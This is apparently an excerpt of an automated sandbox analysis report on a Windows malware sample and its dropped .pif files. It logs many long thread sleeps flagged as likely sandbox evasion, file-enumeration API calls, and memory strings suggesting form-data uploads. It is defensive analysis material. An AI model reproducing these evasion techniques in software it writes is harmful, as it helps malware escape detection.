Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -595391s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -595266s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -595156s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -595047s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -594936s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -594828s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -594688s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -594559s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -594452s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -594344s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -594234s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -594125s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep count: 33 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -30437127721620741s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -600000s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8136 Thread sleep count: 7560 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -599874s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8136 Thread sleep count: 2292 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -599756s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -599625s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -599515s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -599406s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -599296s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -599187s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -599078s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -598968s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -598859s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -598749s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -598635s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -598515s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -598406s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -598296s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -598187s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -598078s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -597968s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -597859s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -597749s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -597640s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -597531s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -597421s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -597312s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -597203s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -597093s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -596984s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -596875s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -596765s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -596656s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -596546s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -596437s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -596328s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -596218s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -596109s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -595999s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -595890s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -595780s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -595671s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -595562s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -595453s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -595343s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -595234s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -595125s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -595015s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -594906s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -594796s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -594686s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8132 Thread sleep time: -594578s >= -30000s
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\Public\xpha.pif Last function: Thread delayed
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B15908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA, 0_2_02B15908
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove, 16_2_003A0207
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose, 16_2_003A589A
Source: C:\Users\Public\alpha.pif Code function: 16_2_003B3E66 FindFirstFileW,FindNextFileW,FindClose, 16_2_003B3E66
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 16_2_003A4EC1
Source: C:\Users\Public\alpha.pif Code function: 16_2_0039532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose, 16_2_0039532E
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose, 19_2_003A589A
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove, 19_2_003A0207
Source: C:\Users\Public\alpha.pif Code function: 19_2_003B3E66 FindFirstFileW,FindNextFileW,FindClose, 19_2_003B3E66
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW, 19_2_003A4EC1
Source: C:\Users\Public\alpha.pif Code function: 19_2_0039532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose, 19_2_0039532E
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599766 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599547 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599437 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599328 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599219 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599109 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598974 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598844 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598734 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598625 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598516 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598406 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598297 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598188 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598063 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597953 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597844 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597719 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597610 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597485 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597360 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597235 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597110 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596985 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596860 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596735 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596610 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596485 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596360 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596246 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596125 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596016 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595891 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595781 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595672 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595563 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595438 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595313 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595203 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595094 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594969 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594859 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594750 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594641 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594531 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594422 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594313 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599875
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599766
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599641
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599516
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599406
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599297
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599188
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599063
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598938
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598828
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598719
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598594
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598485
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598360
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598235
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598110
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597985
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597860
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597735
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597610
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597485
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597360
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597235
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597110
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596985
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596860
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596735
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596610
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596485
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596360
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596235
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596110
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595985
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595860
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595735
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595622
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595500
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595391
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595266
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595156
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595047
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594936
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594828
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594688
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594559
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594452
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594344
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594234
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594125
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599874
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599756
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599625
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599515
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599406
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599296
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599187
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599078
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598968
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598859
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598749
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598635
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598515
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598406
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598296
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598187
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598078
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597968
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597859
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597749
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597640
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597531
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597421
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597312
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597203
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597093
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596984
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596875
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596765
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596656
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596546
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596437
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596328
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596218
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596109
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595999
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595890
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595780
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595671
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595562
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595453
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595343
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595234
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595125
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595015
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594906
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594796
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594686
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594578
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026535000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd155c28fa062f<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dc191055343<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd101cbc07fa5f<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e867d773907<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10f104b8c903<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1006e1e9399e<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f519f0d5ca3<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ec9f12dbdf1<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd11c811aae335<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10c1527eafe5<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1044355765bf<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028B11000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ec250d2c789<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f0c03271772<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd1011a0457cfd<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10354bf3d436<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e18ff2f9f9e<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f35250cf7bb<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0eb5ee92c4e0<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dc19c90c343<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd11559464c338<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f8fc54b4863<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd11dc4fb6d2d1<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd10f381542235<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ecccaf1fdd6<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0efa41ff69d7<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0e425aa9301b<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd12d4ee8d8cfe<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0dcf5032218b<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fd2dd57c60f<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0fab9e050937<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f28be95a5fb<
Source: yihfsboC.pif, 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0df0efc49c34<
Source: yihfsboC.pif, 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0ff1a9c0edb8<
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f1e9f0c802f<
Source: Cobsfhiy.PIF, 00000018.00000002.1551396300.0000000000828000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll[
Source: yihfsboC.pif, 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: qEmultipart/form-data; boundary=------------------------8dd0f4ce99ede20<
